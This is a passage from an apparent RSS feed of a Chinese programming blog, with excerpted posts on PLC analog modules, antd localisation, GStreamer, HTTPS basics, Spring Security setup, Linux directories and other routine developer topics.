模拟量模块上通道断线或是输入值超量程，除了会引起模块的DIAG指示灯以红色闪烁，断线或是超量程的通道的指示灯也以红色闪烁，以提示用户存在故障通道。&#xA;以RTD或TC模块为例，如果RTD或TC模块选择了断线报警。则模块会检测每个通道的断线情况。默认情况下，该选项是没有被激活的。RTD或TC模块对于没有使用的通道的处理方法如下：&#xA;①、RTD模块：将一个100Ohm的电阻按照与已用通道相同的接线方式连接到空的通道；或者将已经接好的那一路热电阻的所有引线，一一对应连接到空的通道上。&#xA;②、TC模块：短接未使用的通道，或者并联到旁边的实际接线通道上。启动断线报警如果不是通道断线引起的报警，就是输入值超量程了。默认情况下，RTD和TC模块的通道输入值超上下限报警是激活的。发生了该报警，用户需要判断引起通道值超量程的原因：是信号问题还是模块硬件的问题。&#xA;6. 为什么使用S7-200 SMART模拟量输入模块时接收到变动很大的不稳定的值？&#xA;可能的原因如下：&#xA;1）可能模拟量输入模块和现场传感器分别使用了自供电或隔离的电源，而两个电源没有彼此连接，即模拟量输入模块的电源和现场传感器的信号地没有连接；这将会产生一个很高的上下振动的共模电压，影响模拟量输入值。&#xA;2）另一个原因可能是模拟量输入模块接线太长或绝缘不好受到电磁干扰。&#xA;可以用如下方法解决：&#xA;A .连接现场传感器的负端与模块上的公共M端以补偿此波动。&#xA;背景是：&#xA;模拟量输入模块内部是非隔离的；&#xA;共模电压必须小于12V且大于-12V；&#xA;对于60Hz干扰信号的共模抑制比为40dB；&#xA;注意：模块中未使用的通道直接短接本通道的+、-，已使用的通道将传感器的负端与模块上的公共M端短接 。&#xA;B、使用模拟量输入滤波；选择需要滤波的通道；选择滤波强度；&#xA;模拟量输入值的滤波过程会产生稳定的模拟信号，通常过滤对于在处理变化缓慢的信号时非常有用，例如温度测量。可以为滤波分为4个级别(无、弱、中、强)。可组态模块在组态的周期数内平滑模拟量输入信号，从而将一个平均值传送给程序逻辑，滤波级别越高，经滤波处理的模拟值就越稳定，但无法反应快速变化的实际信号。&#xA;S7-200 SMART模拟量输入模块接收到测量值波动时的检测方法和步骤；&#xA;当 S7-200 SMART模拟量输入模块接收到测量值波动时，可通过如下图的步骤进行检查：&#xA;注意：&#xA;A、上图中所提到的等电位连接以及不用通道短接请参考上面6解决方法。&#xA;B、屏蔽层单端接地：是在屏蔽电缆的一端将金属屏蔽层直接接地，另一端不接地或通过保护接地。&#xA;在屏蔽层单端接地情况下，非接地端的金属屏蔽层对地之间有感应电压存在，感应电压与电缆的长度成正比，但屏蔽层无电势环流通过。单端接地就是利用抑制电势电位差达到消除电磁干扰的目的。</description>
    </item>
    <item>
      <title>将引入antd组件默认语言改为中文</title>
      <link>https://bchobby.github.io/posts/224ef2de28a2cb4777c1d452dc22cd6f/</link>
      <pubDate>Thu, 16 Feb 2023 15:46:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/224ef2de28a2cb4777c1d452dc22cd6f/</guid>
      <description>在我们使用antd时会发现上面的语言为英文，那么如何改为中文呢？&#xA;只需要如下操作就可以了：&#xA;import { ConfigProvider } from &#39;antd&#39;;&#xA;import zhCN from &#34;antd/es/locale/zh_CN&#34;;&#xA;&amp;lt;ConfigProvider locale={zhCN}&amp;gt;&#xA;&amp;lt;/ConfigProvider&amp;gt;&#xA;这时，我们引入的组件默认语言就变为中文了，但是，日期选择框组件可能有部分位置还是英文状态，这是我们只需要进行如下操作就可以：&#xA;import dayjs from &#39;dayjs&#39;;&#xA;import &#39;dayjs/locale/zh-cn&#39;;&#xA;dayjs.locale(&#39;zh-cn&#39;);&#xA;需要注意检查你本地的 dayjs 版本和 antd 依赖的 dayjs 版本是否一致&#xA;如果还有问题，请检查是否有两个版本的 dayjs 共存？&#xA;npm ls dayjs</description>
    </item>
    <item>
      <title>二、Gstreamer splitmuxsink</title>
      <link>https://bchobby.github.io/posts/97e89a2626c12cad2db132095ea40115/</link>
      <pubDate>Thu, 16 Feb 2023 14:25:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/97e89a2626c12cad2db132095ea40115/</guid>
      <description>该元素包装muxer和sink，并在mux内容即将跨越最大尺寸的最大时间阈值时启动一个新文件，在视频关键帧边界分割。只有一个输入视频流可以与任意多的音频和字幕流混接。&#xA;默认情况下，它使用mp4mux和filesink，但可以通过muxer和sink属性更改它们。&#xA;最小文件大小是1 GOP，但是，如果任意两个关键帧之间的距离大于限制，则限制可能会超过。&#xA;如果视频流可用，则分割过程由视频流内容驱动，视频流必须包含关闭的GOPs，以便输出文件的部分能够正确地单独播放。在没有视频流的情况下，第一个可用的流用作同步的参考。&#xA;在async-finalize模式下，当超过阈值时，旧的muxer和sink从管道断开连接，然后离开以异步方式完成文件，并创建一个新的muxer和sink来继续处理下一个片段。因此，使用muxer-factory和sink-factory属性以及muxer-properties和sink-properties来构造新对象，而不是使用muxer和sink对象。&#xA;Example pipelines 从测试源捕获的视频流，并将其融合到ISO mp4文件中，根据需要分割以限制大小/持续时间为10秒和1MB的最大大小。&#xA;gst-launch-1.0 -e videotestsrc ! video/x-raw,width=320,height=240 ! videoconvert ! queue ! timeoverlay ! x264enc key-int-max=10 ! h264parse ! splitmuxsink location=video%02d.mov max-size-time=10000000000 max-size-bytes=1000000&#xA;记录从v4l2设备捕获的视频流，并将其绑定到可流的Matroska文件中，根据需要分割以限制大小/持续时间为10秒。每个文件都将异步完成。&#xA;gst-launch-1.0 -e v4l2src num-buffers=500 ! video/x-raw,width=320,height=240 ! videoconvert ! queue ! timeoverlay ! x264enc key-int-max=10 ! h264parse ! splitmuxsink location=video%02d.mkv max-size-time=10000000000 muxer-factory=matroskamux muxer-properties=“properties,streamable=true”&#xA;记录10帧到mp4文件，使用muxer-pad-map在splitmuxsink sink pad和它将交付到的相应muxer pad之间进行显式映射。&#xA;gst-launch-1.0 videotestsrc num-buffers=10 ! jpegenc ! .video splitmuxsink muxer=qtmux muxer-pad-map=x-pad-map,video=video_1 location=test%05d.</description>
    </item>
    <item>
      <title>什么是分类、聚类，两者的区别</title>
      <link>https://bchobby.github.io/posts/3d12640095abfd75fcdfcaec5499913d/</link>
      <pubDate>Thu, 16 Feb 2023 13:13:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3d12640095abfd75fcdfcaec5499913d/</guid>
      <description>分类和聚类都是数据挖掘领域中的常用技术，用于在数据集中识别模式和结构。虽然这两个术语经常被混淆，但它们代表不同的概念。&#xA;分类是一种有监督学习技术，它的目的是将数据集中的每个样本分配到预定义的类别中。分类算法依靠已知的标签或类别来训练模型，并在训练后将新数据分配到它们所属的类别中。例如，一个电子邮件垃圾邮件过滤器可以根据电子邮件的内容、附件和其他特征将电子邮件分类为“垃圾邮件”或“非垃圾邮件”。&#xA;聚类是一种无监督学习技术，它的目的是根据数据之间的相似性将数据集中的样本分组成簇。聚类算法不需要预先定义类别或标签，而是通过计算样本之间的相似性来识别相似的样本，并将它们分配到相同的簇中。聚类算法可</description>
    </item>
    <item>
      <title>【计算机网络】HTTPS协议原理</title>
      <link>https://bchobby.github.io/posts/0caa1f96eb288f20f7f74582176609d7/</link>
      <pubDate>Thu, 16 Feb 2023 12:43:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0caa1f96eb288f20f7f74582176609d7/</guid>
      <description>文章目录 一、认识HTTPS协议二、为什么要发明HTTPS三、HTTP与HTTPS的区别四、常见的加密方式1. 对称加密2. 非对称加密3. 数据摘要4. 数字签名 五、HTTPS的原理探究方案1：只使用对称加密方案2：只使用非对称加密方案3：双方都使用非对称加密方案4：非对称加密 + 对称加密引入证书方案5：非对称加密 + 对称加密 + 证书认证 总结 一、认识HTTPS协议 HTTPS背景：&#xA;HTTPS是由网景公司（Netscape）于1994年发明的。在当时，网络刚刚兴起，人们开始使用互联网进行各种通信和交易，但是网络安全问题也随之成为人们关注的焦点。网景公司的工程师们在HTTP协议的基础上开发了SSL（Secure Sockets Layer）协议，通过在传输层对数据进行加密，从而保障网络传输的安全性。&#xA;后来，SSL协议逐渐得到了广泛的应用和推广，并在1999年被标准化为TLS（Transport Layer Security）协议。TLS协议是SSL的升级版，具有更高的安全性和可扩展性，被广泛应用于Web浏览器和Web服务器之间的数据传输，以确保网络通信的安全和隐私。&#xA;尽管网景公司在1998年被AOL收购，但HTTPS协议仍然被广泛应用于现代互联网中，成为了保护网络通信安全的标准协议。&#xA;HTTPS协议：&#xA;HTTPS是一种用于保护互联网通信安全的协议，全称为超文本传输安全协议（Hypertext Transfer Protocol Secure）。它是基于HTTP协议的加密传输协议，通过在传输数据之前使用加密算法（利用 SSL/TLS 来加密数据包）对数据进行加密，以确保通信的安全性。&#xA;HTTPS协议的加密过程主要分为三个步骤：握手、加密和身份验证。具体步骤如下：&#xA;握手阶段：客户端向服务器发起HTTPS连接请求，服务器会向客户端发送数字证书和公钥，客户端会验证证书的有效性，如果证书通过验证，客户端就生成一个随机数，使用服务器的公钥对其进行加密，然后将加密后的随机数发送给服务器。&#xA;加密阶段：服务器使用私钥解密客户端发送过来的随机数，然后使用这个随机数生成对称密钥，再将对称密钥用客户端的公钥进行加密，发送给客户端。客户端使用私钥解密服务器发送过来的对称密钥，然后使用这个密钥对所有传输的数据进行加密。&#xA;身份验证阶段：在握手阶段，客户端会验证服务器的数字证书，以确认连接的安全性。而服务器也可以要求客户端进行身份验证，以确认客户端的身份。&#xA;使用HTTPS协议可以有效地保护网站的访问安全性，防止数据被窃听、篡改、伪造等问题。对于一些需要保密性的数据交互，例如金融交易、个人账户信息等，使用HTTPS协议进行加密传输是非常必要的。&#xA;二、为什么要发明HTTPS HTTPS的发明主要是为了解决HTTP协议的安全问题。&#xA;因为HTTP协议是一种基于文本的协议，所有传输的数据都是明文传输，因此容易被黑客截获并窃取敏感信息。例如，当用户在浏览器中输&#xA;入用户名和密码时，这些信息就以明文形式在网络上传输，黑客可以通过截获这些数据来获取用户的敏感信息。&#xA;HTTPS通过在HTTP协议的基础上增加了加密传输的功能，将传输的数据进行加密，从而保证通信的安全性。这使得HTTPS协议可以有效地保护网站的访问安全性，防止数据被窃听、篡改、伪造等问题。&#xA;此外，随着网络的发展和应用场景的不断拓展，越来越多的网站需要进行身份验证和身份认证。HTTPS协议通过数字证书的方式，可以对服务器和客户端进行身份验证，防止恶意用户伪造网站，从而保护用户的隐私和财产安全。&#xA;因此，HTTPS协议的发明是为了保障网络通信的安全和隐私，保护用户敏感信息不被窃取、篡改和伪造，使用户能够更加安全地浏览网页和进行网上交易。&#xA;三、HTTP与HTTPS的区别 HTTP（HyperText Transfer Protocol）是一种基于文本的协议，用于在Web浏览器和Web服务器之间传输数据，它的数据传输是明文传输，不提供加密和安全保障。而HTTPS（HyperText Transfer Protocol Secure）是HTTP协议的安全版本，提供了加密和身份认证的功能。&#xA;以下是HTTP和HTTPS之间的主要区别：&#xA;数据传输安全性&#xA;HTTP传输的数据是明文传输的，容易被黑客截获并窃取敏感信息。而HTTPS在HTTP的基础上增加了加密传输的功能，将传输的数据进行加密，从而保证通信的安全性。&#xA;传输协议&#xA;HTTP是基于TCP/IP协议进行通信的，而HTTPS在HTTP的基础上加入了SSL/TLS协议进行加密，以保证数据传输的安全性。&#xA;端口号&#xA;HTTP默认使用80端口进行传输，而HTTPS默认使用443端口进行传输。&#xA;证书和身份认证&#xA;HTTPS使用数字证书进行身份验证和身份认证，确保客户端和服务器的安全连接。而HTTP不需要进行身份验证和身份认证，容易被攻击者伪装。&#xA;性能&#xA;由于加密和身份验证的额外开销，HTTPS相对于HTTP会增加一些网络负载和延迟，因此会有一定的性能损失。&#xA;综上所述，HTTPS相比于HTTP具有更高的安全性和可信度，但会增加一定的性能开销。因此，对于需要保护用户隐私和数据安全的网站，应该采用HTTPS协议来确保通信的安全性。&#xA;四、常见的加密方式 1. 对称加密 采⽤单钥密码系统的加密⽅法，同⼀个密钥可以同时⽤作信息的加密和解密，这种加密⽅法称为对称加密，也称为单密钥加密。其特征是：加密和解密所⽤的密钥是相同的。&#xA;最常见的对称算法包括AES（Advanced Encryption Standard）、DES（Data Encryption Standard）和3DES（Triple Data Encryption Algorithm）。</description>
    </item>
    <item>
      <title>基于SSM的社团报名管理系统在进行毕业答辩时可能会提问的问题有哪些？以及这些问题的答案...</title>
      <link>https://bchobby.github.io/posts/fead9302709b9775c30dde3c4e74edc7/</link>
      <pubDate>Thu, 16 Feb 2023 11:25:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fead9302709b9775c30dde3c4e74edc7/</guid>
      <description>针对基于SSM的社团报名管理系统，在毕业答辩中可能会被问到的问题包括：&#xA;为什么选择使用SSM框架来开发这个系统？ 答：SSM框架包含了Spring、SpringMVC和MyBatis，能够帮助我们实现Web应用的开发和数据访问。相较于其他框架，SSM框架具有更加灵活的配置、更好的性能和更高的开发效率。&#xA;在这个系统中，你们用到了哪些设计模式？ 答：在这个系统中，我们使用了很多设计模式，比如单例模式、工厂模式、装饰器模式、观察者模式、策略模式等等。这些设计模式能够帮助我们更好地实现代码的复用和可扩展性。&#xA;在这个系统中，你们使用了哪些数据库技术？ 答：在这个系统中，</description>
    </item>
    <item>
      <title>基于ssm的社团报名管理系统答辩时提问的问题及答案</title>
      <link>https://bchobby.github.io/posts/5d4bc1ed85ab7138ff570295d55727b3/</link>
      <pubDate>Thu, 16 Feb 2023 11:16:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5d4bc1ed85ab7138ff570295d55727b3/</guid>
      <description>以下是可能涉及到的问题及其答案：&#xA;问题1：什么是SSM框架？&#xA;答：SSM框架是指Spring + SpringMVC + MyBatis框架的组合。Spring是一个Java企业应用开发框架，SpringMVC是基于Spring的MVC(模型-视图-控制器)框架，MyBatis是一个数据访问框架。这三个框架的组合可以很好地协同工作，实现Java Web应用程序的开发。&#xA;问题2：社团报名管理系统的主要功能是什么？&#xA;答：社团报名管理系统主要包括社团信息管理、社团成员管理、活动管理和报名管理等功能。社团信息管理包括社团的基本信息、成员列表和活动列表等；社团成员管理包括成员的添加、删除、修</description>
    </item>
    <item>
      <title>Java中去除字符串空格的几种方法</title>
      <link>https://bchobby.github.io/posts/51b7ad2311e6bda82eae4716db2833b8/</link>
      <pubDate>Thu, 16 Feb 2023 09:52:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/51b7ad2311e6bda82eae4716db2833b8/</guid>
      <description>1、String.trim()： 它去掉的只是String首尾空格，内部不处理； 2、str.replace(&#34; &#34;, “”)： 去掉所有空格，包括首尾、中间，但是又仅仅局限于一个空格 3、str.replaceAll(&#34; +&#34;,&#34;&#34;) ： 可以匹配去掉所有空格 4、str.replaceAll(&#34;\s*&#34;, “”)： 可以替换大部分空白字符， 不限于空格 \s 可以匹配空格、制表符、换页符等空白字符的其中任意一个 5、StringUtils.deleteWhitespace(str)； 这是StringUtils类中封装的方法，可以去除所有空格，并且可以匹配空格、制表符、换页符等空白字符的其中任意一个 @Test public void testRemoveAll() { String str = &#34; Ji m m y&#34;; String str1 = str.replaceAll(&#34;\\s*&#34;, &#34;&#34;); String str2 = str.replaceAll(&#34; +&#34;,&#34;&#34;); String str3 = StringUtils.deleteWhitespace(str); System.out.println(&#34;str1 = &#34; + str1); System.out.println(&#34;str2 = &#34; + str2); System.out.println(&#34;str3 = &#34; + str3);&#x9;} 输出结果为：&#xA;str1 = Jimmy&#xA;str3 = Jimmy&#xA;str3 = Jimmy</description>
    </item>
    <item>
      <title>DataStreamApi简介</title>
      <link>https://bchobby.github.io/posts/fedf3838728b4310dafd9cfa7c7be749/</link>
      <pubDate>Thu, 16 Feb 2023 09:23:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fedf3838728b4310dafd9cfa7c7be749/</guid>
      <description> 什么可以转化为流 flink的java和scala DataStream API可以将任何可序列化的对象转化为流 1、flink自带的序列化器有 基本类型：String、Long、Integer、Boolean、Array 复合类型：Tuples、POJOs 和 Scala case classes 2、并且flink会交给kryo序列化其他类型。也可以将其他序列化器和 Flink 一起使用。特别是有良好支持的 Avro。 POJOS 如果满足以下条件，flink会将数据类型识别为POJO类型(并允许&#34;按名称&#34;字段引用)&#xA;公有且独立有公有的无参构造类及父类中所有的不被static、transient修饰的属性要么是公有的且不被final修饰，要么包含公有的getter和setter方法 stream执行环境 DataStream API将应用构建为一个job graph，并附加到StreamExcutionEnvironment。当调用 env.execute() 时此 graph 就被打包并发送到 JobManager 上，后者对作业并行处理并将其子任务分发给 Task Manager 来执行。每个作业的并行子任务将在 task slot 中执行。如果没有调用 execute()，应用就不会运行&#xA;基本的stream source 1、数据类型转换 2、socket接收 3、读取文件 基本的stream sink 使用print()方法打印结果到task manager的日志中。会对流中的每个元素都调用toString()方法 </description>
    </item>
    <item>
      <title>printf在stm32中的功能</title>
      <link>https://bchobby.github.io/posts/047b56bd769409ac10cb36bbb2257a04/</link>
      <pubDate>Thu, 16 Feb 2023 08:03:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/047b56bd769409ac10cb36bbb2257a04/</guid>
      <description>在STM32中，printf()函数可以用于将文本消息打印到终端或串口。它是C语言标准库中的一个输出函数，用于格式化输出字符串和变量。&#xA;要在STM32中使用printf()函数，通常需要先通过串口初始化函数初始化串口，并将串口与printf()函数关联起来。然后，在程序中调用printf()函数时，将要输出的文本作为参数传递给它即可。输出的文本可以包括格式化字符串和变量，例如：&#xA;printf(&#34;The value of my variable is: %d\n&#34;, my_variable); 其中，%d是一个格式控制符，用于表示要输出的变量是一个整数。如果需要输出其他类型</description>
    </item>
    <item>
      <title>Spring Security是什么，以及如何在Spring Boot项目中整合Spring Security并且使用它，下面我们通过一个登录案例简单介绍一下Spring Security。</title>
      <link>https://bchobby.github.io/posts/d7f37e727e38a6be01253cf31bb350d4/</link>
      <pubDate>Thu, 16 Feb 2023 04:41:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d7f37e727e38a6be01253cf31bb350d4/</guid>
      <description>1.什么是Spring Security？ 在了解Spring Security之前，我们是不是应该先思考一个问题，我们自己写的web案例一般都需要先登录，之后登录之后才能访问其他页面，或者说我们不同的用户登录之后能进行的操作不同，比如系统管理员和普通用户所能操作的功能是有所区别的。那我们如何解决这个问题？&#xA;不错，这时候我们就需要用到一些安全框架，比较Apache 旗下的Shiro、Spring家族中的Spring Security，Shiro相比Spring Security而言，比较简单易上手，不过我们这篇文章主要讲解Spring Security的简单应用。&#xA;接着上面的话题，Spring Security提供了一组可用在Spring应用上下文中配置的Bean，充分的利用了Spring IOC、DI（依赖注入）、AOP（面向切面编程）的功能，提供了生命式的安全访问控制功能，提高了开发效率。&#xA;Spring Security的本质就是一组过滤器链（16个），通过创建大量的filter和interceptor来进行请求的验证和拦截，以此来达到安全校验和鉴权的效果。&#xA;2.如何使用Spring Security？ 要使用Spring Security很简单，我们只需要引入Spring Security 的相关依赖，就可以得到一个Spring Security的简单示例。&#xA;创建Spring Boot项目 ，引入相关的依赖：&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-web&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!--lombok依赖--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.projectlombok&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;lombok&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!--mysql依赖--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;mysql&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mysql-connector-java&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!--mybatis-plus依赖--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.baomidou&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mybatis-plus-boot-starter&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.3.1.tmp&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!--security 依赖--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-security&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!--JWT 依赖--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;io.jsonwebtoken&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;jjwt&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;0.9.0&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 配置yaml文件，主要配置数据源：&#xA;server: #配置服务端口号 port: 8081 spring: datasource: #配置数据库驱动 driver-class-name: com.mysql.cj.jdbc.Driver #配置数据库地址，务必加上时区 url: jdbc:mysql://localhost:3306/yeb?</description>
    </item>
    <item>
      <title>【问题记录】关于百度网盘客户端打不开</title>
      <link>https://bchobby.github.io/posts/f124ca8296eae5a9407f73e3a2c5ebf9/</link>
      <pubDate>Wed, 15 Feb 2023 23:37:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f124ca8296eae5a9407f73e3a2c5ebf9/</guid>
      <description>问题描述 双击桌面图标没有任何反应，用管理员模式也是没什么反应。&#xA;问题追踪 按ctrl+shift+esc打开任务管理器，查看到百度网盘的一个升级程序在运行中，注意升级程序的网络一栏，表明该进程在下载东西，但是速度很慢&#xA;在网盘升级过程中是打不开程序的，结束该进程后，再次尝试打开，依然不行，还是运行的升级程序&#xA;查看其升级速度&#xA;我的网速并不是很慢，但是在网盘升级过程中确实只有一两百kb的速度&#xA;等了好一段时间还是没升级完……&#xA;不会升级也限速把……&#xA;问题解决 进入官网https://pan.baidu.com/download#pan重新下载个安装包，安装包大概两百多兆，按照每秒一两百k的速度确实是慢，但是下载官网的最新安装包确是很快。&#xA;下载完安装包后，安装程序会自动检测你电脑有么有安装，如果安装有就会进行替换，相当于是进行升级啦。&#xA;总结 百度网盘客户端打不开的原因之一是程序正在后台升级中，由于双击程序图标后没有任何提示，加上升级的速度实在有点慢，所以用户感知不到，会以为是不是电脑出问题了。当然，这种情况建立在禁止开机自启，因为如果开机自启，那么大概率会在你不知道的情况下就已经升级好了。我是因为很久没打开过客户端，而且也进行了自启，所以导致一起动就自动升级的情况。&#xA;新版客户端貌似已经找不到设置自动升级管理的选项了，查看升级程序的配置文件，发现默认是设置了30天的升级检查，应该是可以更改的，我这用不到，所以就不尝试了，给有需要的朋友提示下。</description>
    </item>
    <item>
      <title>手持设备EMC静电放电实验放电路径分析</title>
      <link>https://bchobby.github.io/posts/fd6fafeab3f2568bd084a339c02ada5e/</link>
      <pubDate>Wed, 15 Feb 2023 22:48:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fd6fafeab3f2568bd084a339c02ada5e/</guid>
      <description>以前接触的都是大设备，去年公司准备上马一些手持式的小设备，此类设备无法进行防静电接地处理。刚开始接触此类设备的时候，非常困惑，很长一段时间没有想通此类设备在打静电时，静电放电路径是什么？现把自己的一些想法写下来，与大家分享，有可能我的想法不对，欢迎讨论指正。&#xA;我们简化抽象放电实验装置电路，把EUT简化为一张铜皮（静电放电是共模干扰，无论EUT内的PCB是几层板，在此把它当作一个整体看待。）：&#xA;我们简化抽象放电实验装置电路，把EUT简化为一张铜皮（静电放电是共模干扰，无论EUT内的PCB是几层板，在此把它当作一个整体看待。）：&#xA;EUT内PCB上的铜皮和水平耦合板构成一个电容：&#xA;静电放电其实就是对“EUT和耦合板形成电容”的充电过程，充电时，会在有阻抗的地方产生电压降。&#xA;那么，如何保护EUT不被静电打到？如果设备没有裸露的金属，我们可以提高设备外壳的绝缘，阻止静电放电的产生；如果设备有裸露的金属，应尽量保证PCB地平面的完整性，减小地平面上的阻抗，必要时可以增加外屏蔽层，由于外屏蔽的阻抗更小，大部分静电顺着外屏蔽放电，从而保护了EUT。&#xA;手持设备外静电屏蔽的工作机理如下：&#xA;外屏蔽取代EUT，和耦合板之间形成电容，静电放电经过外屏蔽而不是EUT，从而保护了EUT。&#xA;虽然EUT和外屏蔽是连接在一起的，但静电只聚集在金属的表面，也就是说静电只聚集在外屏蔽的外表面，EUT上是没有静电的。&#xA;上图中，如果要静电保护EUT的上部，在EUT的上面也应该有外屏蔽。外屏蔽最好包裹整个EUT，进而保护EUT的全部侧面，一般来说，对EUT的每个侧面都需要打静电。</description>
    </item>
    <item>
      <title>史上最强python基础知识导图</title>
      <link>https://bchobby.github.io/posts/b87f90474d182b2be827f14be21751ea/</link>
      <pubDate>Wed, 15 Feb 2023 22:26:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b87f90474d182b2be827f14be21751ea/</guid>
      <description> </description>
    </item>
    <item>
      <title>echarts柱状图固定展示n个，超过n个出现换页按钮。点击展示剩下的</title>
      <link>https://bchobby.github.io/posts/a320a0fd05efeaf672382ce3fb3d1c64/</link>
      <pubDate>Wed, 15 Feb 2023 21:15:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a320a0fd05efeaf672382ce3fb3d1c64/</guid>
      <description>1.echart官方用法我没找到，自己写了一个，如果大家知道的话，麻烦评论一下或者私我哈，学习学习~٩(๑❛ᴗ❛๑)۶~&#xA;2.先说一下整体思路哈：&#xA;左右两边的换页符号是ui小姐姐切的图片，先固定放在柱形图两边。然后给图片绑定样式让他默认隐藏，在进入这个页面（出现柱形图的页面）的时候，判断获取的你要展示的柱形图列表的长度。如果超过了13（我这里用的是13）个，就让柱形图列表等于前13个数据，同时出现换页符号（原来是默认隐藏），然后给换页符号加上点击事件，获取13个之后的数据（剩余的数据），就相当于展示在下一页 3.具体代码分析&#xA;先写好换页符号的样式，默认隐藏&#xA;&amp;lt;img src=&#34;.......图片地址&#34; alt=&#34;&#34; @click=&#34;handleClickright()&#34; :class=&#34;[{showleft : disabled},&#39;positionimgright&#39;]&#34; /&amp;gt; &amp;lt;img src=&#34;.......图片地址&#34; alt=&#34;&#34; @click=&#34;handleClickleft()&#34; :class=&#34;[{showright: disabled},&#39;positionimgleft&#39;]&#34; /&amp;gt; 先不要看点击事件哈，这个后面才用到，先看 ：class的绑定 {showleft:disabled}是控制显示隐藏的，positionimgleft是基本样式&#xA;样式代码，先确定图片的位置样式，再默认图片不显示&#xA;. gxgaswitch { position: relative；//这个是外面定位的样式，不用管这个 . positionimgleft { //定位左边图片的样式 display: none ; position: absolute ; left: 12px; top: 76px; z-index: 999; } . positionimgright { //定位右边图片的样式 display: none; position: absolute ; left: 368px; top: 76px; z- index: 999; &amp;amp;: hover { //图片默认不展示 . positionimgright {display: block;} .</description>
    </item>
    <item>
      <title>linux各路径（目录）的解释</title>
      <link>https://bchobby.github.io/posts/32bcab667a5592dbfaff86e499a90b40/</link>
      <pubDate>Wed, 15 Feb 2023 17:52:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/32bcab667a5592dbfaff86e499a90b40/</guid>
      <description>目录 /bin&#xA;存放二进制可执行文件(ls,cat,mkdir等)，常用命令一般都在这里。&#xA;/etc&#xA;存放系统管理和配置文件&#xA;/home&#xA;存放所有用户文件的根目录，是用户主目录的基点，&#xA;比如用户user的主目录就是/home/user，可以用~user表示&#xA;/usr&#xA;用于存放系统应用程序，比较重要的目录/usr/local 本地系统&#xA;管理员软件安装目录（安装系统级的应用）。&#xA;这是最庞大的目录，要用到的应用程序和文件几乎都在这个目录。&#xA;/usr/x11r6 存放x window的目录&#xA;/usr/bin 众多的应用程序 /usr/sbin 超级用户的一些管理程序 /usr/doc linux文档 /usr/include linux下开发和编译应用程序所需要的头文件 /usr/lib 常用的动态链接库和软件包的配置文件 /usr/man 帮助文档 /usr/src 源代码，linux内核的源代码就放在/usr/src/linux里 /usr/local/bin 本地增加的命令 /usr/local/lib 本地增加的库&#xA;/opt&#xA;额外安装的可选应用程序包所放置的位置。一般情况下，&#xA;我们可以把tomcat等都安装到这里。&#xA;/proc&#xA;虚拟文件系统目录，是系统内存的映射。&#xA;可直接访问这个目录来获取系统信息。&#xA;/root&#xA;超级用户（系统管理员）的主目录（特权阶级^o^）&#xA;/sbin&#xA;存放二进制可执行文件，只有root才能访问。&#xA;这里存放的是系统管理员使用的系统级别的管理命令和程序。如ifconfig等。&#xA;/dev&#xA;用于存放设备文件。&#xA;/mnt&#xA;系统管理员安装临时文件系统的安装点，系统提供这个目录是让用户临时挂载其他的文件系统。&#xA;/boot&#xA;存放用于系统引导时使用的各种文件&#xA;/lib&#xA;存放跟文件系统中的程序运行所需要的共享库及内核模块。&#xA;共享库又叫动态链接共享库，作用类似windows里的.dll文件，&#xA;存放了根文件系统程序运行所需的共享文件。&#xA;/tmp&#xA;用于存放各种临时文件，是公用的临时文件存储点。&#xA;/var&#xA;用于存放运行时需要改变数据的文件，也是某些大文件的溢出区，&#xA;比方说各种服务的日志文件（系统启动日志等。）等。&#xA;/lost+found&#xA;这个目录平时是空的，系统非正常关机而留下“无家可归”的文件（windows下叫什么.chk）就在这里&#xA;Linux目录和Windows目录有着很大的不同，Linux目录类似一个树，最顶层是其根目录，如下图：&#xA;/bin 二进制可执行命令&#xA;/dev 设备特殊文件&#xA;/etc 系统管理和配置文件</description>
    </item>
    <item>
      <title>pyecharts设置柱形图颜色每个不一样</title>
      <link>https://bchobby.github.io/posts/b58edd78421f046851198b06371e202e/</link>
      <pubDate>Wed, 15 Feb 2023 17:39:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b58edd78421f046851198b06371e202e/</guid>
